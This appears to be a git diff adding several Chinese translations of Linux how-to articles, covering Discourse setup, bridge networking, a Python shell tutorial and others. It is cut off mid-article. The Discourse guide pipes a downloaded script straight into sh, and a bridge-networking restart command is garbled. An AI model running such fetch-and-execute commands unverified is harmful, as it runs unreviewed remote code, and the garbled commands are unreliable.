译注:如果你不希望上述命令本身也被记录进历史中,你可以在上述命令前加个空格) + +同样的,你可以使用向上的箭头一直往回翻看历史记录。当你发现你感兴趣的命令出现在终端上时,按下 “Ctrl + U”清除整行,也会从历史记录中删除它。 + +### 总结 + +有多种不同的方法可以操作 Linux 命令行历史来满足你的需求。然而请记住,从历史中隐藏或者删除命令通常不是一个好习惯,尽管本质上这并没有错。但是你必须知道你在做什么,以及可能产生的后果。 + +-------------------------------------------------------------------------------- + +via: https://www.maketecheasier.com/linux-command-line-history-incognito/ + +作者:[Himanshu Arora][a] +译者:[chunyang-wen](https://github.com/chunyang-wen) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.maketecheasier.com/author/himanshu/ +[1]: https://www.maketecheasier.com/command-line-history-linux/ + + + + + diff --git a/published/201607/20160628 How To Setup Open Source Discussion Platform Discourse On Ubuntu Linux 16.04.md b/published/201607/20160628 How To Setup Open Source Discussion Platform Discourse On Ubuntu Linux 16.04.md new file mode 100644 index 0000000000..45c5d634dc --- /dev/null +++ b/published/201607/20160628 How To Setup Open Source Discussion Platform Discourse On Ubuntu Linux 16.04.md @@ -0,0 +1,101 @@ +如何在 Ubuntu Linux 16.04上安装开源的 Discourse 论坛 +=============================================================================== + +Discourse 是一个开源的论坛,它可以以邮件列表、聊天室或者论坛等多种形式工作。它是一个广受欢迎的现代的论坛工具。在服务端,它使用 Ruby on Rails 和 Postgres 搭建, 并且使用 Redis 缓存来减少读取时间 , 在客户端,它使用支持 Java Script 的浏览器。它非常容易定制,结构良好,并且它提供了转换插件,可以对你现存的论坛、公告板进行转换,例如: vBulletin、phpBB、Drupal、SMF 等等。在这篇文章中,我们将学习在 Ubuntu 操作系统下安装 Discourse。 + +它以安全作为设计思想,所以发垃圾信息的人和黑客们不能轻易的实现其企图。它能很好的支持各种现代设备,并可以相应的调整以手机和平板的显示。 + +### 在 Ubuntu 16.04 上安装 Discourse + +让我们开始吧 ! 最少需要 1G 的内存,并且官方支持的安装过程需要已经安装了 docker。 说到 docker,它还需要安装Git。要满足以上的两点要求我们只需要运行下面的命令: + +``` +wget -qO- https://get.docker.com/ | sh +``` + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/124.png) + +用不了多久就安装好了 docker 和 Git,安装结束以后,在你的系统上的 /var 分区创建一个 Discourse 文件夹(当然你也可以选择其他的分区)。 + +``` +mkdir /var/discourse +``` + +现在我们来克隆 Discourse 的 Github 仓库到这个新建的文件夹。 + +``` +git clone https://github.com/discourse/discourse_docker.git /var/discourse +``` + +进入这个克隆的文件夹。 + +``` +cd /var/discourse +``` + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/314.png) + +你将看到“discourse-setup” 脚本文件,运行这个脚本文件进行 Discourse 的初始化。 + +``` +./discourse-setup +``` + +**备注: 在安装 discourse 之前请确保你已经安装好了邮件服务器。** + +安装向导将会问你以下六个问题: + +``` +Hostname for your Discourse? +Email address for admin account? +SMTP server address? +SMTP user name? +SMTP port [587]: +SMTP password? []: +``` + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/411.png) + +当你提交了以上信息以后, 它会让你提交确认, 如果一切都很正常,点击回车以后安装开始。 + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/511.png) + +现在“坐等放宽”,需要花费一些时间来完成安装,倒杯咖啡,看看有什么错误信息没有。 + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/610.png) + +安装成功以后看起来应该像这样。 + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/710.png) + +现在打开浏览器,如果已经做了域名解析,你可以使用你的域名来连接 Discourse 页面 ,否则你只能使用IP地址了。你将看到如下信息: + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/85.png) + +就是这个,点击 “Sign Up” 选项创建一个新的账户,然后进行你的 Discourse 设置。 + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/106.png) + +### 结论 + +它安装简便,运行完美。 它拥有现代论坛所有必备功能。它以 GPL 发布,是完全开源的产品。简单、易用、以及特性丰富是它的最大特点。希望你喜欢这篇文章,如果有问题,你可以给我们留言。 + +-------------------------------------------------------------------------------- + +via: http://linuxpitstop.com/install-discourse-on-ubuntu-linux-16-04/ + +作者:[Aun][a] +译者:[kokialoves](https://github.com/kokialoves) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://linuxpitstop.com/author/aun/ + + + + + + + + diff --git a/published/201607/20160629 USE TASK MANAGER EQUIVALENT IN LINUX.md b/published/201607/20160629 USE TASK MANAGER EQUIVALENT IN LINUX.md new file mode 100644 index 0000000000..444f37af43 --- /dev/null +++ b/published/201607/20160629 USE TASK MANAGER EQUIVALENT IN LINUX.md @@ -0,0 +1,51 @@ +在 Linux 下使用任务管理器 +==================================== + +![](https://itsfoss.com/wp-content/uploads/2016/06/Task-Manager-in-Linux.jpg) + +有很多 Linux 初学者经常问起的问题,“**Linux 有任务管理器吗?**”,“**怎样在 Linux 上打开任务管理器呢?**” + +来自 Windows 的用户都知道任务管理器非常有用。你可以在 Windows 中按下 `Ctrl+Alt+Del` 打开任务管理器。这个任务管理器向你展示了所有的正在运行的进程和它们消耗的内存,你可以从任务管理器程序中选择并杀死一个进程。 + +当你刚使用 Linux 的时候,你也会寻找一个**在 Linux 相当于任务管理器**的一个东西。一个 Linux 使用专家更喜欢使用命令行的方式查找进程和消耗的内存等等,但是你不用必须使用这种方式,至少在你初学 Linux 的时候。 + +所有主流的 Linux 发行版都有一个类似于任务管理器的东西。大部分情况下,它叫系统监视器(System Monitor),不过实际上它依赖于你的 Linux 的发行版及其使用的[桌面环境][1]。 + +在这篇文章中,我们将会看到如何在以 GNOME 为[桌面环境][2]的 Linux 上找到并使用任务管理器。 + +### 在使用 GNOME 桌面环境的 Linux 上的任务管理器等价物 + +使用 GNOME 时,按下 super 键(Windows 键)来查找任务管理器: + +![](https://itsfoss.com/wp-content/uploads/2016/06/system-monitor-gnome-fedora.png) + +当你启动系统监视器的时候,它会向你展示所有正在运行的进程及其消耗的内存。 + +![](https://itsfoss.com/wp-content/uploads/2016/06/fedora-system-monitor.jpeg) + +你可以选择一个进程并且点击“终止进程(End Process)”来杀掉它。 + +![](https://itsfoss.com/wp-content/uploads/2016/06/kill-process-fedora.png) + +你也可以在资源(Resources)标签里面看到关于一些统计数据,例如 CPU 的每个核心的占用,内存用量、网络用量等。 + +![](https://itsfoss.com/wp-content/uploads/2016/06/system-stats-fedora.png) + +这是图形化的方式。如果你想使用命令行,在终端里运行“top”命令然后你就可以看到所有运行的进程及其消耗的内存。你也可以很容易地使用命令行[杀死进程][3]。 + +这就是关于在 Fedora Linux 上任务管理器的知识。我希望这个教程帮你学到了知识,如果你有什么问题,请尽管问。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/task-manager-linux/ + +作者:[Abhishek Prakash][a] +译者:[xinglianfly](https://github.com/xinglianfly) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject)原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[1]: https://wiki.archlinux.org/index.php/desktop_environment +[2]: https://itsfoss.com/best-linux-desktop-environments/ +[3]: https://itsfoss.com/how-to-find-the-process-id-of-a-program-and-kill-it-quick-tip/ diff --git a/published/201607/20160630 What makes up the Fedora kernel.md b/published/201607/20160630 What makes up the Fedora kernel.md new file mode 100644 index 0000000000..67c26ee93c --- /dev/null +++ b/published/201607/20160630 What makes up the Fedora kernel.md @@ -0,0 +1,31 @@ +Fedora 内核是由什么构成的? +==================================== + +![](https://cdn.fedoramagazine.org/wp-content/uploads/2016/06/kernel-945x400.png) + +每个 Fedora 系统都运行着一个内核。许多代码片段组合在一起使之成为现实。 + +每个 Fedora 内核都起始于一个来自于[上游社区][1]的基线版本——通常称之为 vanilla 内核。上游内核就是标准。(Fedora 的)目标是包含尽可能多的上游代码,这样使得 bug 修复和 API 更新更加容易,同时也会有更多的人审查代码。理想情况下,Fedora 能够直接获取 kernel.org 的内核,然后发送给所有用户。 + +现实情况是,使用 vanilla 内核并不能完全满足 Fedora。Vanilla 内核可能并不支持一些 Fedora 用户希望拥有的功能。用户接收的 [Fedora 内核] 是在 vanilla 内核之上打了很多补丁的内核。这些补丁被认为“不在树上(out of tree)”。许多这些位于补丁树之外的补丁都不会存在太久。如果某补丁能够修复一个问题,那么该补丁可能会被合并到 Fedora 树,以便用户能够更快地收到修复。当内核变基到一个新版本时,在新版本中的补丁都将被清除。 + +一些补丁会在 Fedora 内核树上存在很长时间。一个很好的例子是,安全启动补丁就是这类补丁。这些补丁提供了 Fedora 希望支持的功能,即使上游社区还没有接受它们。保持这些补丁更新是需要付出很多努力的,所以 Fedora 尝试减少不被上游内核维护者接受的补丁数量。 + +通常来说,想要在 Fedora 内核中获得一个补丁的最佳方法是先给 [Linux 内核邮件列表(LKML)][3] 发送补丁,然后请求将该补丁包含到 Fedora 中。如果某个维护者接受了补丁,就意味着 Fedora 内核树中将来很有可能会包含该补丁。一些来自于 GitHub 等地方的还没有提交给 LKML 的补丁是不可能进入内核树的。首先向 LKML 发送补丁是非常重要的,它能确保 Fedora 内核树中携带的补丁是功能正常的。如果没有社区审查,Fedora 最终携带的补丁将会充满 bug 并会导致问题。 + +Fedora 内核中包含的代码来自许多地方。一切都需要提供最佳的体验。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/makes-fedora-kernel/ + +作者:[Laura Abbott][a] +译者:[ChrisLeeGit](https://github.com/chrisleegit) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/makes-fedora-kernel/ +[1]: http://www.kernel.org/ +[2]: http://pkgs.fedoraproject.org/cgit/rpms/kernel.git/ +[3]: http://www.labbott.name/blog/2015/10/02/the-art-of-communicating-with-lkml/ diff --git a/published/201607/20160701 How To Setup Bridge (br0) Network on Ubuntu Linux 14.04 and 16.04 LTS.md b/published/201607/20160701 How To Setup Bridge (br0) Network on Ubuntu Linux 14.04 and 16.04 LTS.md new file mode 100644 index 0000000000..61fba7be98 --- /dev/null +++ b/published/201607/20160701 How To Setup Bridge (br0) Network on Ubuntu Linux 14.04 and 16.04 LTS.md @@ -0,0 +1,144 @@ +如何在 Ubuntu 上建立网桥 +======================================================================= + +> 作为一个 Ubuntu 16.04 LTS 的初学者。如何在 Ubuntu 14.04 和 16.04 的主机上建立网桥呢? + +顾名思义,网桥的作用是通过物理接口连接内部和外部网络。对于虚拟端口或者 LXC/KVM/Xen/容器来说,这非常有用。网桥虚拟端口看起来是网络上的一个常规设备。在这个教程中,我将会介绍如何在 Ubuntu 服务器上通过 bridge-utils (brctl) 命令行来配置 Linux 网桥。 + +### 网桥化的网络示例 + +![](http://s0.cyberciti.org/uploads/faq/2016/07/my-br0-br1-setup.jpg) + +*图 01: Kvm/Xen/LXC 容器网桥示例 (br0)* + +在这个例子中,eth0 和 eth1 是物理网络接口。eth0 连接着局域网,eth1 连接着上游路由器和互联网。 + +### 安装 bridge-utils + +使用 [apt-get 命令][1] 安装 bridge-utils: + +``` +$ sudo apt-get install bridge-utils +``` + +或者 + +```` +$ sudo apt install bridge-utils +``` + +样例输出: + +![](http://s0.cyberciti.org/uploads/faq/2016/07/ubuntu-install-bridge-utils.jpg) + +*图 02: Ubuntu 安装 bridge-utils 包* + +### 在 Ubuntu 服务器上创建网桥 + +使用你熟悉的文本编辑器修改 `/etc/network/interfaces` ,例如 vi 或者 nano : + +``` +$ sudo cp /etc/network/interfaces /etc/network/interfaces.bakup-1-july-2016 +$ sudo vi /etc/network/interfaces +``` + +接下来设置 eth1 并且将它映射到 br1 ,输入如下(删除或者注释所有 eth1 相关配置): + +``` +# br1 使用静态公网 IP 地址,并以 ISP 的路由器作为网关 +auto br1 +iface br1 inet static + address 208.43.222.51 + network 255.255.255.248 + netmask 255.255.255.0 + broadcast 208.43.222.55 + gateway 208.43.222.49 + bridge_ports eth1 + bridge_stp off + bridge_fd 0 + bridge_maxwait 0 +``` + +接下来设置 eth0 并将它映射到 br0,输入如下(删除或者注释所有 eth0 相关配置): + +``` +auto br0 +iface br0 inet static + address 10.18.44.26 + netmask 255.255.255.192 + broadcast 10.18.44.63 + dns-nameservers 10.0.80.11 10.0.80.12 + # set static route for LAN + post-up route add -net 10.0.0.0 netmask 255.0.0.0 gw 10.18.44.1 + post-up route add -net 161.26.0.0 netmask 255.255.0.0 gw 10.18.44.1 + bridge_ports eth0 + bridge_stp off + bridge_fd 0 + bridge_maxwait 0 +``` + +### 关于 br0 和 DHCP 的一点说明 + +如果使用 DHCP ,配置选项是这样的: + +``` +auto br0 +iface br0 inet dhcp + bridge_ports eth0 + bridge_stp off + bridge_fd 0 + bridge_maxwait 0 +``` + +保存并且关闭文件。 + +### 重启服务器或者网络服务 + +你需要重启服务器或者输入下列命令来重启网络服务(在 SSH 登录的会话中这可能不管用): + +``` +$ sudo systemctl restart networking +``` + +如果你证使用 Ubuntu 14.04 LTS 或者更老的没有 systemd 的系统,输入: + +``` +$ sudo /etc/init.d/restart networking +``` + +### 验证网络配置成功 + +使用 ping/ip 命令来验证 LAN 和 WAN 网络接口运行正常: +``` +# 查看 br0 和 br1 +ip a show +# 查看路由信息 +ip r +# ping 外部站点 +ping -c 2 cyberciti.biz +# ping 局域网服务器 +ping -c 2 10.0.80.12 +``` + +样例输出: + +![](http://s0.cyberciti.org/uploads/faq/2016/07/br0-br1-eth0-eth1-configured-on-ubuntu.jpg) + +*图 03: 验证网桥的以太网连接* + +现在,你就可以配置 br0 和 br1 来让 XEN/KVM/LXC 容器访问因特网或者私有局域网了。再也没有必要去设置特定路由或者 iptables 的 SNAT 规则了。 + + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/faq/how-to-create-bridge-interface-ubuntu-linux/ + +作者:[VIVEK GITE][a] +译者:[MikeCoder](https://github.com/MikeCoder) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twitter.com/nixcraft +[1]: http://www.cyberciti.biz/tips/linux-debian-package-management-cheat-sheet.html + diff --git a/published/201607/20160705 Create Your Own Shell in Python - Part I.md b/published/201607/20160705 Create Your Own Shell in Python - Part I.md new file mode 100644 index 0000000000..3aee650db0 --- /dev/null +++ b/published/201607/20160705 Create Your Own Shell in Python - Part I.md @@ -0,0 +1,228 @@ +使用 Python 创建你自己的 Shell (一) +========================================== + +我很想知道一个 shell (像 bash,csh 等)内部是如何工作的。于是为了满足自己的好奇心,我使用 Python 实现了一个名为 **yosh** (Your Own Shell)的 Shell。本文章所介绍的概念也可以应用于其他编程语言。 + +(提示:你可以在[这里](https://github.com/supasate/yosh)查找本博文使用的源代码,代码以 MIT 许可证发布。在 Mac OS X 10.11.5 上,我使用 Python 2.7.10 和 3.4.3 进行了测试。它应该可以运行在其他类 Unix 环境,比如 Linux 和 Windows 上的 Cygwin。) + +让我们开始吧。 + +### 步骤 0:项目结构 + +对于此项目,我使用了以下的项目结构。 + +``` +yosh_project +|-- yosh + |-- __init__.py + |-- shell.py +``` + +`yosh_project` 为项目根目录(你也可以把它简单命名为 `yosh`)。 + +`yosh` 为包目录,且 `__init__.py` 可以使它成为与包的目录名字相同的包(如果你不用 Python 编写的话,可以忽略它。) + +`shell.py` 是我们主要的脚本文件。 + +### 步骤 1:Shell 循环 + +当启动一个 shell,它会显示一个命令提示符并等待你的命令输入。在接收了输入的命令并执行它之后(稍后文章会进行详细解释),你的 shell 会重新回到这里,并循环等待下一条指令。 + +在 `shell.py` 中,我们会以一个简单的 main 函数开始,该函数调用了 shell_loop() 函数,如下: + +``` +def shell_loop(): + # Start the loop here + + +def main(): + shell_loop() + + +if __name__ == "__main__": + main() +``` + +接着,在 `shell_loop()` 中,为了指示循环是否继续或停止,我们使用了一个状态标志。在循环的开始,我们的 shell 将显示一个命令提示符,并等待读取命令输入。 + +``` +import sys + +SHELL_STATUS_RUN = 1 +SHELL_STATUS_STOP = 0 + + +def shell_loop(): + status = SHELL_STATUS_RUN + + while status == SHELL_STATUS_RUN: + ### 显示命令提示符 + sys.stdout.write('> ') + sys.stdout.flush() + + ### 读取命令输入 + cmd = sys.stdin.readline() +``` + +之后,我们切分命令(tokenize)输入并进行执行(execute)(我们即将实现 `tokenize` 和 `execute` 函数)。 + +因此,我们的 shell_loop() 会是如下这样: + +``` +import sys + +SHELL_STATUS_RUN = 1 +SHELL_STATUS_STOP = 0 + + +def shell_loop(): + status = SHELL_STATUS_RUN + + while status == SHELL_STATUS_RUN: + ### 显示命令提示符 + sys.stdout.write('> ') + sys.stdout.flush() + + ### 读取命令输入 + cmd = sys.stdin.readline() + + ### 切分命令输入 + cmd_tokens = tokenize(cmd) + + ### 执行该命令并获取新的状态 + status = execute(cmd_tokens) +``` + +这就是我们整个 shell 循环。如果我们使用 `python shell.py` 启动我们的 shell,它会显示命令提示符。然而如果我们输入命令并按回车,它会抛出错误,因为我们还没定义 `tokenize` 函数。 + +为了退出 shell,可以尝试输入 ctrl-c。稍后我将解释如何以优雅的形式退出 shell。 + +### 步骤 2:命令切分(tokenize) + +当用户在我们的 shell 中输入命令并按下回车键,该命令将会是一个包含命令名称及其参数的长字符串。因此,我们必须切分该字符串(分割一个字符串为多个元组)。 + +咋一看似乎很简单。我们或许可以使用 `cmd.split()`,以空格分割输入。它对类似 `ls -a my_folder` 的命令起作用,因为它能够将命令分割为一个列表 `['ls', '-a', 'my_folder']`,这样我们便能轻易处理它们了。 + +然而,也有一些类似 `echo "Hello World"` 或 `echo 'Hello World'` 以单引号或双引号引用参数的情况。如果我们使用 cmd.spilt,我们将会得到一个存有 3 个标记的列表 `['echo', '"Hello', 'World"']` 而不是 2 个标记的列表 `['echo', 'Hello World']`。 + +幸运的是,Python 提供了一个名为 `shlex` 的库,它能够帮助我们如魔法般地分割命令。(提示:我们也可以使用正则表达式,但它不是本文的重点。) + + +``` +import sys +import shlex + +... + +def tokenize(string): + return shlex.split(string) + +... +``` + +然后我们将这些元组发送到执行进程。 + +### 步骤 3:执行 + +这是 shell 中核心而有趣的一部分。当 shell 执行 `mkdir test_dir` 时,到底发生了什么?(提示: `mkdir` 是一个带有 `test_dir` 参数的执行程序,用于创建一个名为 `test_dir` 的目录。) + +`execvp` 是这一步的首先需要的函数。在我们解释 `execvp` 所做的事之前,让我们看看它的实际效果。 + +``` +import os +... + +def execute(cmd_tokens): + ### 执行命令 + os.execvp(cmd_tokens[0], cmd_tokens) + + ### 返回状态以告知在 shell_loop 中等待下一个命令 + return SHELL_STATUS_RUN + +... +``` + +再次尝试运行我们的 shell,并输入 `mkdir test_dir` 命令,接着按下回车键。 + +在我们敲下回车键之后,问题是我们的 shell 会直接退出而不是等待下一个命令。然而,目录正确地创建了。 + +因此,`execvp` 实际上做了什么? + +`execvp` 是系统调用 `exec` 的一个变体。第一个参数是程序名字。`v` 表示第二个参数是一个程序参数列表(参数数量可变)。`p` 表示将会使用环境变量 `PATH` 搜索给定的程序名字。在我们上一次的尝试中,它将会基于我们的 `PATH` 环境变量查找`mkdir` 程序。 + +(还有其他 `exec` 变体,比如 execv、execvpe、execl、execlp、execlpe;你可以 google 它们获取更多的信息。) + +`exec` 会用即将运行的新进程替换调用进程的当前内存。在我们的例子中,我们的 shell 进程内存会被替换为 `mkdir` 程序。接着,`mkdir` 成为主进程并创建 `test_dir` 目录。最后该进程退出。 + +这里的重点在于**我们的 shell 进程已经被 `mkdir` 进程所替换**。这就是我们的 shell 消失且不会等待下一条命令的原因。 + +因此,我们需要其他的系统调用来解决问题:`fork`。 + +`fork` 会分配新的内存并拷贝当前进程到一个新的进程。我们称这个新的进程为**子进程**,调用者进程为**父进程**。然后,子进程内存会被替换为被执行的程序。因此,我们的 shell,也就是父进程,可以免受内存替换的危险。 + +让我们看看修改的代码。 + +``` +... + +def execute(cmd_tokens): + ### 分叉一个子 shell 进程 + ### 如果当前进程是子进程,其 `pid` 被设置为 `0` + ### 否则当前进程是父进程的话,`pid` 的值 + ### 是其子进程的进程 ID。 + pid = os.fork() + + if pid == 0: + ### 子进程 + ### 用被 exec 调用的程序替换该子进程 + os.execvp(cmd_tokens[0], cmd_tokens) + elif pid > 0: + ### 父进程 + while True: + ### 等待其子进程的响应状态(以进程 ID 来查找) + wpid, status = os.waitpid(pid, 0) + + ### 当其子进程正常退出时 + ### 或者其被信号中断时,结束等待状态 + if os.WIFEXITED(status) or os.WIFSIGNALED(status): + break + + ### 返回状态以告知在 shell_loop 中等待下一个命令 + return SHELL_STATUS_RUN + +... +``` + +当我们的父进程调用 `os.fork()` 时,你可以想象所有的源代码被拷贝到了新的子进程。此时此刻,父进程和子进程看到的是相同的代码,且并行运行着。 + +如果运行的代码属于子进程,`pid` 将为 `0`。否则,如果运行的代码属于父进程,`pid` 将会是子进程的进程 id。 + +当 `os.execvp` 在子进程中被调用时,你可以想象子进程的所有源代码被替换为正被调用程序的代码。然而父进程的代码不会被改变。 + +当父进程完成等待子进程退出或终止时,它会返回一个状态,指示继续 shell 循环。 + +### 运行 + +现在,你可以尝试运行我们的 shell 并输入 `mkdir test_dir2`。它应该可以正确执行。我们的主 shell 进程仍然存在并等待下一条命令。尝试执行 `ls`,你可以看到已创建的目录。 + +但是,这里仍有一些问题。 + +第一,尝试执行 `cd test_dir2`,接着执行 `ls`。它应该会进入到一个空的 `test_dir2` 目录。然而,你将会看到目录并没有变为 `test_dir2`。 + +第二,我们仍然没有办法优雅地退出我们的 shell。 + +我们将会在 [第二部分][1] 解决诸如此类的问题。 + + +-------------------------------------------------------------------------------- + +via: https://hackercollider.com/articles/2016/07/05/create-your-own-shell-in-python-part-1/ + +作者:[Supasate Choochaisri][a] +译者:[cposture](https://github.com/cposture) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://disqus.com/by/supasate_choochaisri/ +[1]: https://hackercollider.com/articles/2016/07/06/create-your-own-shell-in-python-part-2/ diff --git a/published/201607/20160706 Create Your Own Shell in Python - Part II.md b/published/201607/20160706 Create Your Own Shell in Python - Part II.md new file mode 100644 index 0000000000..9e66d5643c --- /dev/null +++ b/published/201607/20160706 Create Your Own Shell in Python - Part II.md @@ -0,0 +1,211 @@ +使用 Python 创建你自己的 Shell(下) +=========================================== + +在[上篇][1]中,我们已经创建了一个 shell 主循环、切分了命令输入,以及通过 `fork` 和 `exec` 执行命令。在这部分,我们将会解决剩下的问题。首先,`cd test_dir2` 命令无法修改我们的当前目录。其次,我们仍无法优雅地从 shell 中退出。 + +### 步骤 4:内置命令 + +“`cd test_dir2` 无法修改我们的当前目录” 这句话是对的,但在某种意义上也是错的。在执行完该命令之后,我们仍然处在同一目录,从这个意义上讲,它是对的。然而,目录实际上已经被修改,只不过它是在子进程中被修改。 + +还记得我们分叉(fork)了一个子进程,然后执行命令,执行命令的过程没有发生在父进程上。结果是我们只是改变了子进程的当前目录,而不是父进程的目录。 + +然后子进程退出,而父进程在原封不动的目录下继续运行。 + +因此,这类与 shell 自己相关的命令必须是内置命令。它必须在 shell 进程中执行而不是在分叉中(forking)。 + +#### cd + +让我们从 `cd` 命令开始。 + +我们首先创建一个 `builtins` 目录。每一个内置命令都会被放进这个目录中。 + +```shell +yosh_project +|-- yosh + |-- builtins + | |-- __init__.py + | |-- cd.py + |-- __init__.py + |-- shell.py +``` + +在 `cd.py` 中,我们通过使用系统调用 `os.chdir` 实现自己的 `cd` 命令。 + +```python +import os +from yosh.constants import * + +def cd(args): + os.chdir(args[0]) + + return SHELL_STATUS_RUN +``` + +注意,我们会从内置函数返回 shell 的运行状态。所以,为了能够在项目中继续使用常量,我们将它们移至 `yosh/constants.py`。 + +```shell +yosh_project +|-- yosh + |-- builtins + | |-- __init__.py + | |-- cd.py + |-- __init__.py + |-- constants.py + |-- shell.py +``` + +在 `constants.py` 中,我们将状态常量都放在这里。 + +```python +SHELL_STATUS_STOP = 0 +SHELL_STATUS_RUN = 1 +``` + +现在,我们的内置 `cd` 已经准备好了。让我们修改 `shell.py` 来处理这些内置函数。 + +```python +... +### 导入常量 +from yosh.constants import * + +### 使用哈希映射来存储内建的函数名及其引用 +built_in_cmds = {} + +def tokenize(string): + return shlex.split(string) + +def execute(cmd_tokens): + ### 从元组中分拆命令名称与参数 + cmd_name = cmd_tokens[0] + cmd_args = cmd_tokens[1:] + + ### 如果该命令是一个内建命令,使用参数调用该函数 + if cmd_name in built_in_cmds: + return built_in_cmds[cmd_name](cmd_args) + + ... +``` + +我们使用一个 python 字典变量 `built_in_cmds` 作为哈希映射(hash map),以存储我们的内置函数。我们在 `execute` 函数中提取命令的名字和参数。如果该命令在我们的哈希映射中,则调用对应的内置函数。 + +(提示:`built_in_cmds[cmd_name]` 返回能直接使用参数调用的函数引用。) + +我们差不多准备好使用内置的 `cd` 函数了。最后一步是将 `cd` 函数添加到 `built_in_cmds` 映射中。 + +``` +... +### 导入所有内建函数引用 +from yosh.builtins import * + +... + +### 注册内建函数到内建命令的哈希映射中 +def register_command(name, func): + built_in_cmds[name] = func + + +### 在此注册所有的内建命令 +def init(): + register_command("cd", cd) + + +def main(): + ###在开始主循环之前初始化 shell + init() + shell_loop() +``` + +我们定义了 `register_command` 函数,以添加一个内置函数到我们内置的命令哈希映射。接着,我们定义 `init` 函数并且在这里注册内置的 `cd` 函数。 + +注意这行 `register_command("cd", cd)` 。第一个参数为命令的名字。第二个参数为一个函数引用。为了能够让第二个参数 `cd` 引用到 `yosh/builtins/cd.py` 中的 `cd` 函数引用,我们必须将以下这行代码放在 `yosh/builtins/__init__.py` 文件中。 + +``` +from yosh.builtins.cd import * +``` + +因此,在 `yosh/shell.py` 中,当我们从 `yosh.builtins` 导入 `*` 时,我们可以得到已经通过 `yosh.builtins` 导入的 `cd` 函数引用。 + +我们已经准备好了代码。让我们尝试在 `yosh` 同级目录下以模块形式运行我们的 shell,`python -m yosh.shell`。 + +现在,`cd` 命令可以正确修改我们的 shell 目录了,同时非内置命令仍然可以工作。非常好! + +#### exit + +最后一块终于来了:优雅地退出。 + +我们需要一个可以修改 shell 状态为 `SHELL_STATUS_STOP` 的函数。这样,shell 循环可以自然地结束,shell 将到达终点而退出。 + +和 `cd` 一样,如果我们在子进程中分叉并执行 `exit` 函数,其对父进程是不起作用的。因此,`exit` 函数需要成为一个 shell 内置函数。 + +让我们从这开始:在 `builtins` 目录下创建一个名为 `exit.py` 的新文件。 + +``` +yosh_project +|-- yosh + |-- builtins + | |-- __init__.py + | |-- cd.py + | |-- exit.py + |-- __init__.py + |-- constants.py + |-- shell.py +``` + +`exit.py` 定义了一个 `exit` 函数,该函数仅仅返回一个可以退出主循环的状态。 + +``` +from yosh.constants import * + +def exit(args): + return SHELL_STATUS_STOP +``` + +然后,我们导入位于 `yosh/builtins/__init__.py` 文件的 `exit` 函数引用。 + +``` +from yosh.builtins.cd import * +from yosh.builtins.exit import * +``` + +最后,我们在 `shell.py` 中的 `init()` 函数注册 `exit` 命令。 + +``` +... + +### 在此注册所有的内建命令 +def init(): + register_command("cd", cd) + register_command("exit", exit) + +... +``` + +到此为止! + +尝试执行 `python -m yosh.shell`。现在你可以输入 `exit` 优雅地退出程序了。 + +### 最后的想法 + +我希望你能像我一样享受创建 `yosh` (**y**our **o**wn **sh**ell)的过程。但我的 `yosh` 版本仍处于早期阶段。我没有处理一些会使 shell 崩溃的极端状况。还有很多我没有覆盖的内置命令。为了提高性能,一些非内置命令也可以实现为内置命令(避免新进程创建时间)。同时,大量的功能还没有实现(请看 [公共特性](http://tldp.org/LDP/Bash-Beginners-Guide/html/x7243.html) 和 [不同特性](http://www.tldp.org/LDP/intro-linux/html/x12249.html)) + +我已经在 https://github.com/supasate/yosh 中提供了源代码。请随意 fork 和尝试。 + +现在该是创建你真正自己拥有的 Shell 的时候了。 + +Happy Coding! + +-------------------------------------------------------------------------------- + +via: https://hackercollider.com/articles/2016/07/06/create-your-own-shell-in-python-part-2/ + +作者:[Supasate Choochaisri][a] +译者:[cposture](https://github.com/cposture) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://disqus.com/by/supasate_choochaisri/ +[1]: https://linux.cn/article-7624-1.html +[2]: http://tldp.org/LDP/Bash-Beginners-Guide/html/x7243.html +[3]: http://www.tldp.org/LDP/intro-linux/html/x12249.html +[4]: https://github.com/supasate/yosh diff --git a/published/201607/20160708 Using Vagrant to control your DigitalOcean cloud instances.md b/published/201607/20160708 Using Vagrant to control your DigitalOcean cloud instances.md new file mode 100644 index 0000000000..541bcda865 --- /dev/null +++ b/published/201607/20160708 Using Vagrant to control your DigitalOcean cloud instances.md @@ -0,0 +1,67 @@ +使用 Vagrant 控制你的 DigitalOcean 云主机 +========================================================= + +![](https://cdn.fedoramagazine.org/wp-content/uploads/2016/06/fedora-vagrant-do-945x400.jpg) + +[Vagrant][1] 是一个使用虚拟机创建和支持虚拟开发环境的应用。Fedora 官方已经在本地系统上通过库 `libvirt` [支持 Vagrant][2]。[DigitalOcean][3] 是一个提供一键部署 Fedora 云服务实例到全 SSD 服务器的云计算服务提供商。在[最近的 Raleigh 举办的 FAD 大会][4]中,Fedora 云计算队伍为 Vagrant 打包了一个新的插件,它能够帮助 